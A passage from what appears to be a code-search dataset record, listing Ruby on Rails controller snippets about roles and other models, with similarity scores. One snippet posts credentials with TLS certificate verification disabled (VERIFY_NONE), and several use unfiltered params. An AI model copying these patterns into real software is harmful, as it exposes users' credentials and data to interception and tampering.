ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end", "def create\n @renewal = Renewal.new(params[:renewal])\n\n respond_to do |format|\n if @renewal.save\n format.html { redirect_to(@renewal, :notice => 'Renewal was successfully created.') }\n format.xml { render :xml => @renewal, :status => :created, :location => @renewal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @renewal.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t\tauthorize! :create, AsignacionRol\n @asignacion_rol = AsignacionRol.new(asignacion_rol_params)\n @asignacion_rol.esActual = true\n @asignacion_rol.active = true\n @proyecto = @asignacion_rol.proyecto\n @roles = []\n @rols = Rol.where(tipo_rol: TipoRol.where(nombre:'Proyecto'))\n coor_sist = Rol.where(\"nombre = ?\", 'Coordinador Sistema').first\n asig_func = AsignacionFuncion.where(\"usuario_id = ? AND rol_id = ?\", current_usuario, coor_sist).first\n @rols.each do |rol|\n if rol.nombre != 'Coordinador' || asig_func != nil then\n @roles << rol\n end\n end\n if unica(@asignacion_rol.usuario_id,@asignacion_rol.proyecto_id, @asignacion_rol.rol_id) == true\n\t respond_to do |format|\n\t if @asignacion_rol.save\n sesion= Sesion.find_by(usuario_id: current_usuario.id, fechaFin: nil)\n Transaccion.create!(\n \t\t descripcion: \"Creación asociación rol #{@asignacion_rol.rol.nombre} al usuario #{@asignacion_rol.usuario.nombreUsuario} del proyecto #{@asignacion_rol.proyecto.nombre} : actual = #{ t @asignacion_rol.esActual.to_s}\",\n \t\t sesion_id: sesion.id ,\n \t\t proyecto_id: @asignacion_rol.proyecto.id)\n\t\tformat.html {redirect_to :controller => 'asignacion_roles', :action => 'index',:proyecto_id => @asignacion_rol.proyecto.id } \n\t\tformat.json { render :show, status: :created, location: @asignacion_rol }\n\t else\n params[:usuario_id] = @asignacion_rol.usuario_id\n \t\tformat.html { render :new }\n \t\tformat.json { render json: @asignacion_rol.errors, status: :unprocessable_entity }\n\t end\n\t end\n else\n\t respond_to do |format|\n\t\t format.html { redirect_to :controller => 'asignacion_roles', :action => 'index', :proyecto_id => @asignacion_rol.proyecto.id\n\t\t flash[:danger] = 'El usuario ya se encuentra asignado' } \n\t end\n end\n end", "def asignacion_rol_params\n params.require(:asignacion_rol).permit(:fechaCambioEstado, :esActual, :rol_id, :proyecto_id, :usuario_id)\n end", "def es_recolector \n if current_user.rol != 2\n render json: {entrega: [\"Operación no permitida para este rol de usuario\"]}, status:401 \n end\n end", "def create\n @lek = Lek.new(params[:lek])\n\n respond_to do |format|\n if @lek.save\n format.html { redirect_to(@lek, :notice => 'Lek was successfully created.') }\n format.xml { render :xml => @lek, :status => :created, :location => @lek }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lek.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @ridol = Ridol.new(params[:ridol])\n\n respond_to do |format|\n if @ridol.save\n format.html { redirect_to @ridol, :notice => 'Ridol was successfully created.' }\n format.json { render json: @ridol, :status => :created, location: @ridol }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ridol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_employees_rol\n @employees_rol = EmployeesRol.find(params[:id])\n end", "def create\n @roles = Role.paginate :page => params[:page],\n :per_page => 15,\n :order => sort_order('name')\n @role= Role.new(params[:role])\n\n respond_to do |format|\n if @role.save\n format.html { redirect_to(roles_url, :notice => 'New User role successfully added.') }\n format.xml { render :xml => @role, :status => :created, :location => @role }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_rol_juece\n @rol_juece = RolJuece.find(params[:id])\n end", "def create\n #@payrole = Payrole.new(params[:payrole])\n @payrole = @shift.payroles.build(params[:payrole])\n\n respond_to do |format|\n if @payrole.save\n flash[:notice] = t('payrole.created')\n format.html { redirect_to user_shift_path(@user, @shift) }\n format.xml { render :xml => @payrole, :status => :created, :location => @payrole }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @payrole.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @rute = Rute.new(params[:rute])\n\n respond_to do |format|\n if @rute.save\n format.html { redirect_to(@rute, :notice => 'Rute was successfully created.') }\n format.xml { render :xml => @rute, :status => :created, :location => @rute }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rute.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @enrolled = Enrolled.new(params[:enrolled])\n \n respond_to do |format|\n if @enrolled.save\n format.html { redirect_to @enrolled, :notice => t('selecao_admin.flash_messages.successfully_created.', :model => @enrolled.class.model_name.human) }\n format.json { render :json => @enrolled, :status => :created, :location => @enrolled }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @enrolled.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end", "def show\n @rol = Rol.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rol }\n end\n end", "def show\n @rol = Rol.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rol }\n end\n end", "def signup_perfil\n case request.method\n when :get\n @user = User.new(params['user'])\n @user.rol = Rol.find(params[:rol])\n if @user.save!\n flash[:notice] = \"ALTA CORRECTA PARA EL USUARIO: #{@user.nombre} con el perfil de #{@user.rol.nombre}\"\n redirect_to(:controller => 'home')\n end\n when :post\n @user = User.new\n if params['rol']\n @rol = Rol.find(params['rol'])\n else\n @rol = Rol.find(params['rol_id'])\n end\n begin\n @user.save!\n flash[:notice] = \"ALTA CORRECTA PARA EL USUARIO: #{@user.nombre} con el perfil de #{@user.rol.nombre}\"\n redirect_to(:controller => 'administracion', :action => \"users_by_rol\", :id => @rol)\n rescue ActiveRecord::RecordInvalid => invalid\n flash[:notice] = invalid\n redirect_to :action => 'new', :controller => \"#{params[:controller]}\"\n end\n\n \n \n end\n render :layout=>\"contenido\"\n end", "def index\n @rol_jueces = RolJuece.all\n end", "def update\n respond_to do |format|\n if @rol.update(rol_params)\n format.html { redirect_to @rol, notice: 'Rol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rol.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @user = User.new(params[:user])\n tutorRole = Role.find_by_name('tutor')\n @user.roles = [ tutorRole ]\n @user.save\n success = @user.save && @user.errors.empty?\n errors = @user.errors\n if(success) \n @tutor = Tutor.new()\n @tutor.user_id = @user.id\n success = @tutor.save && @tutor.errors.empty? \n errors = @tutor.errors\n if(! success)\n @user.delete\n end\n end\n\n @user.roles << Role[:tutor]\n \n respond_to do |format|\n if success\n flash[:notice] = 'Tutor was successfully created.'\n format.html { redirect_to(@tutor) }\n format.xml { render :xml => @tutor, :status => :created, :location => @tutor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => errors, :status => :unprocessable_entity }\n end\n end\n end", "def post\n Rentlinx.client.post(self)\n end", "def create\n @employees_projects_rol = EmployeesProjectsRol.new(employees_projects_rol_params)\n\n respond_to do |format|\n if @employees_projects_rol.save\n format.html { redirect_to @employees_projects_rol, notice: 'Employees projects rol was successfully created.' }\n format.json { render :show, status: :created, location: @employees_projects_rol }\n else\n format.html { render :new }\n format.json { render json: @employees_projects_rol.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @relatorios = Relatorio.new(params[:relatorio])\n\n respond_to do |format|\n if @relatorios.save\n flash[:notice] = 'RELATÓRIO CADASTRADO COM SUCESSO.'\n format.html { redirect_to(@relatorios) }\n format.xml { render :xml => @relatorios, :status => :created, :location => @relatorios }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @relatorios.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @reel = Reel.new(params[:reel])\n\n respond_to do |format|\n if @reel.save\n format.html { redirect_to @reel, notice: 'Reel was successfully created.' }\n format.json { render json: @reel, status: :created, location: @reel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reel.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_asignacion_rol\n @asignacion_rol = AsignacionRol.find(params[:id])\n end", "def POST; end", "def create\n @usuario = Usuario.new(params[:usuario])\n @usuario.rol_list = params[:rols_buffer].split(\",\").map { |s| s.to_i }\n dummy = @usuario.rol_list.pop #El ultimo elemento siempre es cero por un defecto...\n\n error_flag = 0\n begin\n @usuario.save!\n rescue\n error_flag = 1\n @usuario.errors.add_to_base \"Error guardando el registro!!!\"\n @rols_disp = Rol.find(:all, :conditions => \"id NOT IN (#{@usuario.rol_list.join(\",\")})\")\n @rols_selec = Rol.find(@usuario.rol_list)\n end\n\n respond_to do |format|\n if error_flag == 0\n flash[:notice] = nil\n format.html { redirect_to(usuarios_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @usuario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.new(benutzer_params(bNode))\n if @benutzer.save\n if bNode.xpath('objekt_zuordnungs').length > 0\n objekt_ids = bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i}\n @benutzer.setze_objekt_zuordnungen(objekt_ids)\n end\n success(@benutzer.id)\n else\n error(@benutzer.errors)\n end\n end", "def create\n @rendezvouz = Rendezvouz.new(params[:rendezvouz])\n\n respond_to do |format|\n if @rendezvouz.save\n flash[:notice] = 'Rendezvouz was successfully created.'\n format.html { redirect_to(@rendezvouz) }\n format.xml { render :xml => @rendezvouz, :status => :created, :location => @rendezvouz }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rendezvouz.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @ru_pusk = RuPusk.new(params[:ru_pusk])\n\n respond_to do |format|\n if @ru_pusk.save\n format.html { redirect_to(@ru_pusk, :notice => 'Ru pusk was successfully created.') }\n format.xml { render :xml => @ru_pusk, :status => :created, :location => @ru_pusk }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ru_pusk.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\r\n @razdel1 = Razdel1.new(params[:razdel1])\r\n\r\n respond_to do |format|\r\n if @razdel1.save\r\n flash[:notice] = 'razdel1 was successfully created.'\r\n format.html { redirect_to(@razdel1) }\r\n format.xml { render :xml => @razdel1, :status => :created, :location => @razdel1 }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @razdel1.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @realtor = Realtor.new(params[:realtor])\n\n respond_to do |format|\n if @realtor.save\n flash[:notice] = 'Realtor was successfully created.'\n format.html { redirect_to(admin_realtors_url) }\n format.xml { render :xml => @realtor, :status => :created, :location => @realtor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @realtor.errors, :status => :unprocessable_entity }\n end\n end\n end", "def addLogsBatchXML(collection=\"lclsLogs\", dizList, bulk: false)\n uri = URI.parse(\"http://#{@host}:#{@port}/solr/#{collection}/update\") \n # uri = URI.parse(\"http://psmetric04:8983/solr/lclsLogs/update\") \n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/xml')\n req.body = formatLogBatchAsXML(dizList)\n # puts req.body \n # res = http.request(req, xml: formatLogBatchAsXML(dizList) )\n res = http.request(req)\n # puts \"response: #{res.body}\"\n return [dizList.length, req.body.size, res]\n end", "def create\n @renewal = Renewal.new(renewal_params)\n\n respond_to do |format|\n if @renewal.save\n format.html { redirect_to insurance_policy_path(@renewal.insurance_policy), notice: 'Renewal was successfully created.' }\n format.json { render :show, status: :created, location: @renewal }\n # for each new renewal added parent policy expiry and policy no will change to match current renewal\n @insurance_policy = @renewal.insurance_policy\n @insurance_policy.update_attributes(current_expiry: @renewal.expiry_date, policyno: @renewal.policyno)\n else\n format.html { render :new }\n format.json { render json: @renewal.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_rolpersona\n @rolpersona = Rolpersona.find(params[:id])\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/rewardsaccount/v1\")\n end", "def enrollment(params = {})\n scope 'default'\n post('enrollment/', params)\n end", "def create\n @setor = Setor.new(params[:setor])\n\n respond_to do |format|\n if @setor.save\n format.html { redirect_to(setors_url) }\n format.xml { render :xml => @setor, :status => :created, :location => @setor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @setor.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @renewals = Renewal.all\n end", "def create\n @director = Director.find(params[:director_id])\n @soaps = @director.soaps.create(soap_params)\n redirect_to director_path(@director)\n\n\n end", "def index\n @roles = Rol.all\n end", "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "def create\n @renter = Renter.new(renter_params)\n @renter.user = current_user\n\n respond_to do |format|\n if @renter.save\n format.html {\n if current_user.has_role?(:realtor) || current_user.has_role?(:vip_realtor)\n redirect_to root_path, notice: 'Заявка отправлена'\n else\n redirect_to @renter, notice: 'Запись успешно добавлена.'\n end\n }\n format.json { render action: 'show', status: :created, location: @renter }\n else\n format.html { render action: 'new' }\n format.json { render json: @renter.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @workshop = Workshop.new(workshop_params)\n puts \"====================================\"\n puts params['trainers']\n puts \"====================================\"\n trainers = params['trainers'].map do |id|\n Trainer.find(id)\n end\n @workshop.trainers << trainers\n\n\n respond_to do |format|\n if @workshop.save\n format.html { redirect_to @workshop, notice: 'Workshop was successfully created.' }\n format.json { render :show, status: :created, location: @workshop }\n else\n format.html { render :new }\n format.json { render json: @workshop.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @relatestagiario = Relatestagiario.new(params[:relatestagiario])\n\n respond_to do |format|\n if @relatestagiario.save\n flash[:notice] = 'RELATÓRIO SALVO COM SUCESSO.'\n format.html { redirect_to(@relatestagiario) }\n format.xml { render :xml => @relatestagiario, :status => :created, :location => @relatestagiario }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @relatestagiario.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end", "def new_rent_office\n @rent_entry = RentEntry.new\n @rent_entry.user_id = session[:user_id]\n @subway_stations = SubwayStation.find(:all)\n @ess = EntriesSubwayStations.new\n respond_to do |format|\n format.html\n format.xml { render :xml => @entry }\n end\n end", "def create\n @tutor = Tutor.new(params[:tutor])\n\n respond_to do |format|\n if @tutor.save\n flash[:notice] = 'Tutor was successfully created.'\n format.html { redirect_to(@tutor) }\n format.xml { render :xml => @tutor, :status => :created, :location => @tutor }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tutor.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @relatorio_gerals = RelatorioGeral.all\n authorize @relatorio_gerals\n\n @relatorio_geral = RelatorioGeral.new(relatorio_geral_params)\n\n respond_to do |format|\n if @relatorio_geral.save\n format.html { redirect_to @relatorio_geral, notice: 'Relatório geral criado com sucesso!' }\n format.json { render :show, status: :created, location: @relatorio_geral }\n else\n format.html { render :new }\n format.json { render json: @relatorio_geral.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @lyric = Lyric.new(params[:lyric])\n\n respond_to do |format|\n if @lyric.save\n format.html { redirect_to(@lyric, :notice => 'Lyric was successfully created.') }\n format.xml { render :xml => @lyric, :status => :created, :location => @lyric }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lyric.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @leisure = Leisure.new(leisure_params)\n\n respond_to do |format|\n if @leisure.save\n format.html { redirect_to @leisure, notice: 'Leisure was successfully created.' }\n format.json { render :show, status: :created, location: @leisure }\n else\n format.html { render :new }\n format.json { render json: @leisure.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @rol.destroy\n respond_to do |format|\n format.html { redirect_to roles_url }\n format.json { head :no_content }\n end\n end", "def create\n chef_server_rest.post(\"roles\", self)\n self\n end", "def new_recepce\n @users = User.find(:all, :conditions => \"role % 23 = 0\", :order => \"fullname\")\n @value = 0\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @operator_plan }\n end\n end", "def rol_juece_params\n params.require(:rol_juece).permit(:tipo_rol_juez)\n end", "def create\n @rr_sale = RrSale.new(params[:rr_sale])\n @rr_sale.user_id=current_user.id\n helper_choose_seller @rr_sale\n respond_to do |format|\n if @rr_sale.save\n flash[:notice] = 'RrSale was successfully created.'\n format.html { redirect_to(@rr_sale) }\n format.xml { render :xml => @rr_sale, :status => :created, :location => @rr_sale }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rr_sale.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @operations_role = OperationsRole.new(params[:operations_role])\n\n respond_to do |format|\n if @operations_role.save\n flash[:notice] = 'OperationsRole was successfully created.'\n format.html { redirect_to(@operations_role) }\n format.xml { render :xml => @operations_role, :status => :created, :location => @operations_role }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @operations_role.errors, :status => :unprocessable_entity }\n end\n end\n end", "def write_travels_to_calendar\n @event.write_travels_to_calendar\n render :json => @event.to_json, :status => :ok\n end", "def index\n @rolpersonas = Rolpersona.all\n end", "def create\n @recurso = Recurso.new(recurso_params)\n\n respond_to do |format|\n if @recurso.save\n # flash.now[:notice] = 'El recurso fue creado con &eacute;xito.'\n @recursos = Recurso.order(\"descripcion\").to_a \n format.html { redirect_to :action => \"index\" }\n format.xml { render :xml => @recurso, :status => :created, :location => @recurso }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @recurso.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @employees_rols = EmployeesRol.all\n end", "def create\n @tutoria = Tutoria.new(params[:tutoria])\n\n respond_to do |format|\n if @tutoria.save\n format.html { redirect_to(@tutoria, :notice => 'Tutoria fue creado exitosamente.') }\n format.xml { render :xml => @tutoria, :status => :created, :location => @tutoria }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tutoria.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save_roles user\n user.add_role(params[:role_name])\n end", "def usuarios\n redirect_to :action => \"roles\"\n end", "def create\n @lore = Lore.new(params[:lore])\n\n respond_to do |format|\n if @lore.save\n format.html { redirect_to(@lore, :notice => 'Lore was successfully created.') }\n format.xml { render :xml => @lore, :status => :created, :location => @lore }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lore.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @Roc = Roc.new(params[:Roc])\n\n respond_to do |format|\n if @Roc.save\n flash[:notice] = 'Roc was successfully created.'\n format.html { redirect_to(@Roc) }\n format.xml { render :xml => @Roc, :status => :created, :location => @Roc }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @Roc.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_save xml, options={:mapping=>:_default}\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/loan/v1\")\n end", "def new\n @rrold = Rrold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rrold }\n end\n end", "def create\n @wro = Wro.new(params[:wro])\n\n respond_to do |format|\n if @wro.save\n flash[:notice] = 'Wro was successfully created.'\n format.html { redirect_to(@wro) }\n format.xml { render :xml => @wro, :status => :created, :location => @wro }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wro.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @resort = Resort.new(params[:resort])\n\n respond_to do |format|\n if @resort.save\n flash[:notice] = 'Resort was successfully created.'\n format.html { redirect_to :controller => \"admin\", :action => \"resorts\" }\n format.xml { render :xml => @resort, :status => :created, :location => @resort }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @resort.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @orc_empenho_iten = OrcEmpenhoIten.new(params[:orc_empenho_iten])\n\n respond_to do |format|\n if @orc_empenho_iten.save\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@orc_empenho_iten) }\n format.xml { render :xml => @orc_empenho_iten, :status => :created, :location => @orc_empenho_iten }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @orc_empenho_iten.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n #returning connection.post(collection_path, to_xml, self.class.headers) do |response|\n returning connection.post(collection_path, to_ssj, self.class.headers) do |response|\n self.id = id_from_response(response)\n load_attributes_from_response(response)\n end\n end", "def index\n @rolladexes = Rolladex.all\n end", "def create_and_update_event\n user = User.find_by(\"id = ?\", self.user_id)\n puts user.rol\n if user.rol != \"ORGANIZADOR\" || user.rol != \"ADMINISTRADOR\"\n errors.add(:message, 'No es permitido')\n end\n end", "def create\n @renter = Renter.new(params[:renter])\n @locals = User.where(:city => @buyer.city)\n @users = @locals.random(5)\n respond_to do |format|\n if @renter.save\n @users.each do |user|\n RenterMailer.registration_welcome(@renter, user).deliver\n Renter.increment_counter(\"times_forwarded\", @renter.id)\n end\n format.html { redirect_to :submitted_page, :notice => 'Seller was successfully created.' }\n format.json { render :json => @renter, :status => :created, :location => @renter }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @renter.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @curriculum = Curriculum.new(params[:curriculum])\n authorize! :create, @curriculum\n\n @curriculum.admins << @current_user\n @terms = Term.order(:start_year).all\n\n respond_to do |format|\n if @curriculum.save\n format.html { redirect_to(edit_curriculum_url(:id => @curriculum), :notice => 'Curriculum was successfully created.') }\n format.xml { render :xml => @curriculum, :status => :created, :location => @curriculum }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @curriculum.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end", "def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend", "def create\n @enrolment = Enrolment.new(enrolment_params)\n\n respond_to do |format|\n if @enrolment.save\n format.html { redirect_to @enrolment, notice: \"Enrolment was successfully created.\" }\n format.json { render :show, status: :created, location: @enrolment }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @enrolment.errors, status: :unprocessable_entity }\n end\n end\n end", "def createSeriesAcl(roles)\n header = Nokogiri::XML('<?xml version = \"1.0\" encoding = \"UTF-8\" standalone =\"yes\"?>')\n builder = Nokogiri::XML::Builder.with(header) do |xml|\n xml.acl('xmlns' => 'http://org.opencastproject.security') {\n roles.each do |role|\n xml.ace {\n xml.action { xml.text(role[:permission]) }\n xml.allow { xml.text('true') }\n xml.role { xml.text(role[:user]) }\n }\n end\n }\n end\n\n return builder.to_xml\nend", "def create\n @serie = Serie.new(params[:serie])\n\n respond_to do |format|\n if @serie.save\n format.html { redirect_to(niveis_ensino_serie_url(@nivel,@serie) , :notice => 'Serie cadastrado com sucesso.') }\n format.xml { render :xml => @serie, :status => :created, :location => @serie }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @serie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @sale = Sale.new(params[:sale])\n\n respond_to do |format|\n if @sale.save\n flash[:notice] = 'Sale was successfully created.'\n format.html { redirect_to(sales_url) }\n format.xml { render :xml => @sale, :status => :created, :location => @sale }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sale.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.6950628", "0.6164979", "0.59076256", "0.5777335", "0.5717998", "0.57171905", "0.5658761", "0.5658761", "0.5568336", "0.55313003", "0.5302578", "0.5302578", "0.52973926", "0.5226925", "0.51940113", "0.5136111", "0.51358914", "0.5128255", "0.51278913", "0.51260924", "0.5057302", "0.4985303", "0.4935742", "0.49322835", "0.49197364", "0.4917782", "0.4906991", "0.4902751", "0.48791736", "0.48467433", "0.48452172", "0.4823866", "0.48167664", "0.48167664", "0.48031417", "0.4772294", "0.47692135", "0.47569796", "0.4750044", "0.4743695", "0.47428358", "0.472061", "0.47202644", "0.47201157", "0.47191188", "0.46986327", "0.46923548", "0.46477023", "0.46400627", "0.46393278", "0.46345657", "0.46307662", "0.46263316", "0.46097088", "0.4605157", "0.460389", "0.46030858", "0.45988572", "0.45981845", "0.45952868", "0.4587757", "0.4585918", "0.45813096", "0.45682132", "0.45652667", "0.4560045", "0.4558518", "0.45570874", "0.45547846", "0.4553389", "0.45431116", "0.45350406", "0.45344698", "0.45301974", "0.45262143", "0.45254204", "0.45240033", "0.45213905", "0.45210424", "0.45165157", "0.451387", "0.45122257", "0.45094973", "0.45082927", "0.4506716", "0.4498552", "0.44984362", "0.44960448", "0.44910562", "0.44847843", "0.44843736", "0.44833103", "0.44830462", "0.44786885", "0.4476064", "0.4473769", "0.44679034", "0.44609353", "0.44592923", "0.4458561" ]
0.6684978
1
PUT /rols/1 PUT /rols/1.xml
def update @rol = Rol.find(params[:id]) respond_to do |format| if @rol.update_attributes(params[:rol]) format.html { redirect_to(@rol, :notice => 'Rol was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @rol.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @rol = Rol.find(params[:id])\n\n respond_to do |format|\n if @rol.update_attributes(params[:rol])\n flash[:notice] = nil\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @rol.update(rol_params)\n format.html { redirect_to @rol, notice: 'Rol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rol.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_rol\n @rol = Rol.find(params[:id])\n end", "def set_rol\n @rol = Rol.find(params[:id])\n end", "def create\n @rol = Rol.new(params[:rol])\n\n respond_to do |format|\n if @rol.save\n flash[:notice] = nil\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def create\n @rol = Rol.new(params[:rol])\n\n respond_to do |format|\n if @rol.save\n format.html { redirect_to(@rol, :notice => 'Rol was successfully created.') }\n format.xml { render :xml => @rol, :status => :created, :location => @rol }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rol.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @employees_rol.update(employees_rol_params)\n format.html { redirect_to @employees_rol, notice: 'Employees rol was successfully updated.' }\n format.json { render :show, status: :ok, location: @employees_rol }\n else\n format.html { render :edit }\n format.json { render json: @employees_rol.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @rol = Rol.find(params[:id])\n @rol.destroy\n\n respond_to do |format|\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @rol = Rol.find(params[:id])\n @rol.destroy\n\n respond_to do |format|\n format.html { redirect_to(rols_url) }\n format.xml { head :ok }\n end\n end", "def set_employees_rol\n @employees_rol = 